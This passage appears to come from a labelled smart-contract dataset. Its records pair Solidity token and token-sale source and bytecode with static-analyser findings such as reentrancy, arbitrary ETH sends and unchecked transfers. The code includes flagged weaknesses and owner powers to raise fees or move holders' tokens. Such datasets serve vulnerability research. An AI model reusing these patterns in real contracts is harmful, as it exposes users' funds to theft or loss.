_getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610384578063c3c8cd80146103a4578063c9567bf9146103b9578063db92dbb6146103ce578063dd62ed3e146103e3578063e8078d941461042957600080fd5b8063715018a6146102db5780638da5cb5b146102f057806395d89b4114610318578063a9059cbb14610345578063a985ceef1461036557600080fd5b8063313ce567116100fd578063313ce5671461022857806345596e2e146102445780635932ead11461026657806368a3a6a5146102865780636fc3eaec146102a657806370a08231146102bb57600080fd5b806306fdde0314610145578063095ea7b31461019d57806318160ddd146101cd57806323b872dd146101f357806327f3a72a1461021357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152601f81527f424154552e46696e616e6365207c20742e6d652f4261747546696e616e63650060208201525b6040516101949190611bfa565b60405180910390f35b3480156101a957600080fd5b506101bd6101b8366004611b52565b61043e565b6040519015158152602001610194565b3480156101d957600080fd5b50683635c9adc5dea000005b604051908152602001610194565b3480156101ff57600080fd5b506101bd61020e366004611b12565b610455565b34801561021f57600080fd5b506101e56104be565b34801561023457600080fd5b5060405160098152602001610194565b34801561025057600080fd5b5061026461025f366004611bb5565b6104ce565b005b34801561027257600080fd5b50610264610281366004611b7d565b610577565b34801561029257600080fd5b506101e56102a1366004611aa2565b6105f6565b3480156102b257600080fd5b50610264610619565b3480156102c757600080fd5b506101e56102d6366004611aa2565b610646565b3480156102e757600080fd5b50610264610668565b3480156102fc57600080fd5b506000546040516001600160a01b039091168152602001610194565b34801561032457600080fd5b506040805180820190915260048152634241545560e01b6020820152610187565b34801561035157600080fd5b506101bd610360366004611b52565b6106dc565b34801561037157600080fd5b50601454600160a81b900460ff166101bd565b34801561039057600080fd5b506101e561039f366004611aa2565b6106e9565b3480156103b057600080fd5b5061026461070f565b3480156103c557600080fd5b50610264610745565b3480156103da57600080fd5b506101e5610792565b3480156103ef57600080fd5b506101e56103fe366004611ada565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043557600080fd5b506102646107aa565b600061044b338484610b5d565b5060015b92915050565b6000610462848484610c81565b6104b484336104af85604051806060016040528060288152602001611dd3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611224565b610b5d565b5060019392505050565b60006104c930610646565b905090565b6011546001600160a01b0316336001600160a01b0316146104ee57600080fd5b6033811061053b5760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105a15760405162461bcd60e51b815260040161053290611c4d565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161056c565b6001600160a01b03811660009081526006602052604081205461044f9042611d3d565b6011546001600160a01b0316336001600160a01b03161461063957600080fd5b476106438161125e565b50565b6001600160a01b03811660009081526002602052604081205461044f906112e3565b6000546001600160a01b031633146106925760405162461bcd60e51b815260040161053290611c4d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061044b338484610c81565b6001600160a01b03811660009081526006602052604081206001015461044f9042611d3d565b6011546001600160a01b0316336001600160a01b03161461072f57600080fd5b600061073a30610646565b905061064381611367565b6000546001600160a01b0316331461076f5760405162461bcd60e51b815260040161053290611c4d565b6014805460ff60a01b1916600160a01b17905561078d426078611cf2565b601555565b6014546000906104c9906001600160a01b0316610646565b6000546001600160a01b031633146107d45760405162461bcd60e51b815260040161053290611c4d565b601454600160a01b900460ff161561082e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610532565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561086b3082683635c9adc5dea00000610b5d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a457600080fd5b505afa1580156108b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108dc9190611abe565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561092457600080fd5b505afa158015610938573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095c9190611abe565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109a457600080fd5b505af11580156109b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109dc9190611abe565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a0c81610646565b600080610a216000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a8457600080fd5b505af1158015610a98573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610abd9190611bcd565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b2157600080fd5b505af1158015610b35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b599190611b99565b5050565b6001600160a01b038316610bbf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610532565b6001600160a01b038216610c205760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610532565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610532565b6001600160a01b038216610d475760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610532565b60008111610da95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610532565b6000546001600160a01b03848116911614801590610dd557506000546001600160a01b03838116911614155b156111c757601454600160a81b900460ff1615610e55573360009081526006602052604090206002015460ff16610e5557604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e8057506013546001600160a01b03838116911614155b8015610ea557506001600160a01b03821660009081526005602052604090205460ff16155b1561100957601454600160a01b900460ff16610f035760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610532565b60066009556004600a55601454600160a81b900460ff1615610fcf57426015541115610fcf57601054811115610f3857600080fd5b6001600160a01b0382166000908152600660205260409020544211610faa5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610532565b610fb542602d611cf2565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff161561100957610fec42600f611cf2565b6001600160a01b0383166000908152600660205260409020600101555b600061101430610646565b601454909150600160b01b900460ff1615801561103f57506014546001600160a01b03858116911614155b80156110545750601454600160a01b900460ff165b156111c557601454600160a81b900460ff16156110e1576001600160a01b03841660009081526006602052604090206001015442116110e15760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610532565b601454600160b81b900460ff161561114657600061110a600c548461150c90919063ffffffff16565b6014549091506111399061113290859061112c906001600160a01b0316610646565b9061158b565b82906115ea565b90506111448161162c565b505b80156111b357600b5460145461117c916064916111769190611170906001600160a01b0316610646565b9061150c565b906115ea565b8111156111aa57600b546014546111a7916064916111769190611170906001600160a01b0316610646565b90505b6111b381611367565b4780156111c3576111c34761125e565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120957506001600160a01b03831660009081526005602052604090205460ff165b15611212575060005b61121e8484848461169a565b50505050565b600081848411156112485760405162461bcd60e51b81526004016105329190611bfa565b5060006112558486611d3d565b95945050505050565b6011546001600160a01b03166108fc6112788360026115ea565b6040518115909202916000818181858888f193505050501580156112a0573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112bb8360026115ea565b6040518115909202916000818181858888f19350505050158015610b59573d6000803e3d6000fd5b600060075482111561134a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610532565b60006113546116c8565b905061136083826115ea565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113bd57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141157600080fd5b505afa158015611425573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114499190611abe565b8160018151811061146a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114909130911684610b5d565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c9908590600090869030904290600401611c82565b600060405180830381600087803b1580156114e357600080fd5b505af11580156114f7573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261151b5750600061044f565b60006115278385611d1e565b9050826115348583611d0a565b146113605760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610532565b6000806115988385611cf2565b9050838110156113605760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610532565b600061136083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116eb565b600a8082101561163e5750600a611652565b602882111561164f57506028611652565b50805b61165d816002611719565b15611670578061166c81611d54565b9150505b611680600a61117683600661150c565b600955611693600a61117683600461150c565b600a555050565b806116a7576116a761175b565b6116b2848484611789565b8061121e5761121e600e54600955600f54600a55565b60008060006116d5611880565b90925090506116e482826115ea565b9250505090565b6000818361170c5760405162461bcd60e51b81526004016105329190611bfa565b5060006112558486611d0a565b600061136083836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118c2565b60095415801561176b5750600a54155b1561177257565b60098054600e55600a8054600f5560009182905555565b60008060008060008061179b876118f6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117cd9087611953565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117fc908661158b565b6001600160a01b03891660009081526002602052604090205561181e81611995565b61182884836119df565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161186d91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061189c82826115ea565b8210156118b957505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118e35760405162461bcd60e51b81526004016105329190611bfa565b506118ee8385611d6f565b949350505050565b60008060008060008060008060006119138a600954600a54611a03565b92509250925060006119236116c8565b905060008060006119368e878787611a52565b919e509c509a509598509396509194505050505091939550919395565b600061136083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611224565b600061199f6116c8565b905060006119ad838361150c565b306000908152600260205260409020549091506119ca908261158b565b30600090815260026020526040902055505050565b6007546119ec9083611953565b6007556008546119fc908261158b565b6008555050565b6000808080611a176064611176898961150c565b90506000611a2a60646111768a8961150c565b90506000611a4282611a3c8b86611953565b90611953565b9992985090965090945050505050565b6000808080611a61888661150c565b90506000611a6f888761150c565b90506000611a7d888861150c565b90506000611a8f82611a3c8686611953565b939b939a50919850919650505050505050565b600060208284031215611ab3578081fd5b813561136081611daf565b600060208284031215611acf578081fd5b815161136081611daf565b60008060408385031215611aec578081fd5b8235611af781611daf565b91506020830135611b0781611daf565b809150509250929050565b600080600060608486031215611b26578081fd5b8335611b3181611daf565b92506020840135611b4181611daf565b929592945050506040919091013590565b60008060408385031215611b64578182fd5b8235611b6f81611daf565b946020939093013593505050565b600060208284031215611b8e578081fd5b813561136081611dc4565b600060208284031215611baa578081fd5b815161136081611dc4565b600060208284031215611bc6578081fd5b5035919050565b600080600060608486031215611be1578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c2657858101830151858201604001528201611c0a565b81811115611c375783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cd15784516001600160a01b031683529383019391830191600101611cac565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d0557611d05611d83565b500190565b600082611d1957611d19611d99565b500490565b6000816000190483118215151615611d3857611d38611d83565b500290565b600082821015611d4f57611d4f611d83565b500390565b6000600019821415611d6857611d68611d83565b5060010190565b600082611d7e57611d7e611d99565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461064357600080fd5b801515811461064357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209815f2b7d61c240e01bfffa55aa0da94be8a8eb3ec7c34cdebca2fc2db11c8ce64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,422
0x1067ADe842eeD2bf1BBA5c4C5A4177d51ac8E8E1
pragma solidity ^0.4.11; /* * ERC20 interface * see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function allowance(address owner, address spender) constant returns (uint); function transfer(address to, uint value) returns (bool ok); function transferFrom(address from, address to, uint value) returns (bool ok); function approve(address spender, uint value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } /** * Standard ERC20 token with Short Hand Attack and approve() race condition mitigation. * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, SafeMath { /* Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); /* Actual balances of token holders */ mapping(address => uint) balances; /* approve() allowances */ mapping (address => mapping (address => uint)) allowed; /** * * Fix for the ERC20 short address attack * * http://vessenes.com/the-erc20-short-address-attack-explained/ */ modifier onlyPayloadSize(uint size) { if(msg.data.length != size + 4) { throw; } _; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; // Check is not needed because safeSub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } /** * Atomic increment of approved spending * * Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * */ function addApproval(address _spender, uint _addedValue) onlyPayloadSize(2 * 32) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * Atomic decrement of approved spending. * * Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */ function subApproval(address _spender, uint _subtractedValue) onlyPayloadSize(2 * 32) returns (bool success) { uint oldVal = allowed[msg.sender][_spender]; if (_subtractedValue > oldVal) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = safeSub(oldVal, _subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { address public constant BURN_ADDRESS = 0; /** How many tokens we burned */ event Burned(address burner, uint burnedAmount); /** * Burn extra tokens from a balance. * */ function burn(uint burnAmount) { address burner = msg.sender; balances[burner] = safeSub(balances[burner], burnAmount); totalSupply = safeSub(totalSupply, burnAmount); Burned(burner, burnAmount); } } /** * Upgrade agent interface inspired by Lunyr. * * Upgrade agent transfers tokens to a new contract. * Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting. */ contract UpgradeAgent { uint public originalSupply; /** Interface marker */ function isUpgradeAgent() public constant returns (bool) { return true; } function upgradeFrom(address _from, uint256 _value) public; } /** * A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision. * * First envisioned by Golem and Lunyr projects. */ contract UpgradeableToken is StandardToken { /** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */ address public upgradeMaster; /** The next contract where the tokens will be migrated. */ UpgradeAgent public upgradeAgent; /** How many tokens we have upgraded by now. */ uint256 public totalUpgraded; /** * Upgrade states. * * - NotAllowed: The child contract has not reached a condition where the upgrade can bgun * - WaitingForAgent: Token allows upgrade, but we don&#39;t have a new agent yet * - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet * - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens * */ enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} /** * Somebody has upgraded some of his tokens. */ event Upgrade(address indexed _from, address indexed _to, uint256 _value); /** * New upgrade agent available. */ event UpgradeAgentSet(address agent); /** * Do not allow construction without upgrade master set. */ function UpgradeableToken(address _upgradeMaster) { upgradeMaster = _upgradeMaster; } /** * Allow the token holder to upgrade some of their tokens to a new contract. */ function upgrade(uint256 value) public { UpgradeState state = getUpgradeState(); if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { // Called in a bad state throw; } // Validate input value. if (value == 0) throw; balances[msg.sender] = safeSub(balances[msg.sender], value); // Take tokens out from circulation totalSupply = safeSub(totalSupply, value); totalUpgraded = safeAdd(totalUpgraded, value); // Upgrade agent reissues the tokens upgradeAgent.upgradeFrom(msg.sender, value); Upgrade(msg.sender, upgradeAgent, value); } /** * Set an upgrade agent that handles */ function setUpgradeAgent(address agent) external { if(!canUpgrade()) { // The token is not yet in a state that we could think upgrading throw; } if (agent == 0x0) throw; // Only a master can designate the next agent if (msg.sender != upgradeMaster) throw; // Upgrade has already begun for an agent if (getUpgradeState() == UpgradeState.Upgrading) throw; upgradeAgent = UpgradeAgent(agent); // Bad interface if(!upgradeAgent.isUpgradeAgent()) throw; // Make sure that token supplies match in source and target if (upgradeAgent.originalSupply() != totalSupply) throw; UpgradeAgentSet(upgradeAgent); } /** * Get the state of the token upgrade. */ function getUpgradeState() public constant returns(UpgradeState) { if(!canUpgrade()) return UpgradeState.NotAllowed; else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } /** * Change the upgrade master. * * This allows us to set a new owner for the upgrade mechanism. */ function setUpgradeMaster(address master) public { if (master == 0x0) throw; if (msg.sender != upgradeMaster) throw; upgradeMaster = master; } /** * Child contract can enable to provide the condition when the upgrade can begun. */ function canUpgrade() public constant returns(bool) { return true; } } contract SNDToken is BurnableToken, UpgradeableToken { string public name; string public symbol; uint public decimals; address public owner; mapping(address => uint) previligedBalances; function SNDToken(address _owner, string _name, string _symbol, uint _totalSupply, uint _decimals) UpgradeableToken(_owner) { name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; // Allocate initial balance to the owner balances[_owner] = _totalSupply; // save the owner owner = _owner; } // privileged transfer function transferPrivileged(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) { if (msg.sender != owner) throw; balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); previligedBalances[_to] = safeAdd(previligedBalances[_to], _value); Transfer(msg.sender, _to, _value); return true; } // get priveleged balance function getPrivilegedBalance(address _owner) constant returns (uint balance) { return previligedBalances[_owner]; } // admin only can transfer from the privileged accounts function transferFromPrivileged(address _from, address _to, uint _value) returns (bool success) { if (msg.sender != owner) throw; uint availablePrevilegedBalance = previligedBalances[_from]; balances[_from] = safeSub(balances[_from], _value); balances[_to] = safeAdd(balances[_to], _value); previligedBalances[_from] = safeSub(availablePrevilegedBalance, _value); Transfer(_from, _to, _value); return true; } } contract SNDTokenSale { address public beneficiary; uint public startline; uint public deadline; uint public price; uint public amountRaised; uint public totalTokensSold; uint public threshold; mapping(address => uint) public actualGotETH; mapping(address => uint) public actualGotTokens; SNDToken public tokenReward; modifier onlyOwner() { if(msg.sender != beneficiary) throw; _; } function SNDTokenSale( uint start, uint end, uint costOfEachToken, SNDToken addressOfTokenUsedAsReward ) { beneficiary = msg.sender; startline = start; deadline = end; price = costOfEachToken; tokenReward = SNDToken(addressOfTokenUsedAsReward); totalTokensSold = 0; } function () payable { if (now <= startline) throw; if (now >= deadline) throw; uint amount = msg.value; if (amount < price) throw; amountRaised += amount; uint tokensToSend = amount / price; totalTokensSold += tokensToSend; actualGotETH[msg.sender] += amount; actualGotTokens[msg.sender] += tokensToSend; beneficiary.transfer(amount); tokenReward.transfer(msg.sender, tokensToSend); } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { beneficiary = newOwner; } } function WithdrawETH(uint amount) onlyOwner { beneficiary.transfer(amount); } function WithdrawAllETH() onlyOwner { beneficiary.transfer(amountRaised); } function WithdrawTokens(uint amount) onlyOwner { tokenReward.transfer(beneficiary, amount); } function ChangeCost(uint costOfEachToken) onlyOwner { price = costOfEachToken; } function ChangeStart(uint start) onlyOwner { startline = start; } function ChangeEnd(uint end) onlyOwner { deadline = end; } }
0x606060405236156100ee5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630e78501f8114610231578063162bc80c146102465780631ffe4cca1461025b57806329a5c0f41461027d57806329dcb0cf1461028f5780632ae8b4a3146102b157806338af3eed146102df57806342cde4e81461030b57806363b201171461032d5780636e66f6e91461034f5780637b3e5e7b1461037b57806394effa141461039d578063a035b1fe146103b2578063baaa8b9a146103d4578063c47af5cf14610402578063f2fde38b14610417578063f72f682614610435575b61022f5b60006000600154421115156101075760006000fd5b60025442106101165760006000fd5b3491506003548210156101295760006000fd5b60048054830190556003548281151561013e57fe5b60058054929091049182019055600160a060020a0333811660009081526007602090815260408083208054880190556008909152808220805485019055815490519394509091169184156108fc0291859190818181858888f1935050505015156101a457fe5b600954604080516000602091820181905282517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a033381166004830152602482018790529351939094169363a9059cbb936044808301949391928390030190829087803b151561021957fe5b6102c65a03f1151561022757fe5b5050505b5050565b005b341561023957fe5b61022f60043561044a565b005b341561024e57fe5b61022f600435610470565b005b341561026357fe5b61026b610518565b60408051918252519081900360200190f35b341561028557fe5b61022f61051e565b005b341561029757fe5b61026b610570565b60408051918252519081900360200190f35b34156102b957fe5b61026b600160a060020a0360043516610576565b60408051918252519081900360200190f35b34156102e757fe5b6102ef610588565b60408051600160a060020a039092168252519081900360200190f35b341561031357fe5b61026b610597565b60408051918252519081900360200190f35b341561033557fe5b61026b61059d565b60408051918252519081900360200190f35b341561035757fe5b6102ef6105a3565b60408051600160a060020a039092168252519081900360200190f35b341561038357fe5b61026b6105b2565b60408051918252519081900360200190f35b34156103a557fe5b61022f6004356105b8565b005b34156103ba57fe5b61026b610609565b60408051918252519081900360200190f35b34156103dc57fe5b61026b600160a060020a036004351661060f565b60408051918252519081900360200190f35b341561040a57fe5b61022f600435610621565b005b341561041f57fe5b61022f600160a060020a0360043516610647565b005b341561043d57fe5b61022f6004356106a0565b005b60005433600160a060020a039081169116146104665760006000fd5b60018190555b5b50565b60005433600160a060020a0390811691161461048c5760006000fd5b6009546000805460408051602090810184905281517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039384166004820152602481018790529151929094169363a9059cbb9360448084019492938390030190829087803b151561050257fe5b6102c65a03f1151561051057fe5b5050505b5b50565b60015481565b60005433600160a060020a0390811691161461053a5760006000fd5b60008054600454604051600160a060020a039092169281156108fc029290818181858888f19350505050151561056c57fe5b5b5b565b60025481565b60076020526000908152604090205481565b600054600160a060020a031681565b60065481565b60055481565b600954600160a060020a031681565b60045481565b60005433600160a060020a039081169116146105d45760006000fd5b60008054604051600160a060020a039091169183156108fc02918491818181858888f19350505050151561046c57fe5b5b5b50565b60035481565b60086020526000908152604090205481565b60005433600160a060020a0390811691161461063d5760006000fd5b60038190555b5b50565b60005433600160a060020a039081169116146106635760006000fd5b600160a060020a0381161561046c576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b60005433600160a060020a039081169116146106bc5760006000fd5b60028190555b5b505600a165627a7a72305820938acd0b833878bddd6ab19c82753da0f006a1f4431ed525542722dfa39b72bd0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
7,423
0x2e47e271b57f571e88b1c69dc326943b1f47ede9
/** *Submitted for verification at Etherscan.io on 2022-04-26 */ /* The Space Shiba ($SPACESHIB) Telegram: https://t.me/tokenrevealapril25 */ // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address 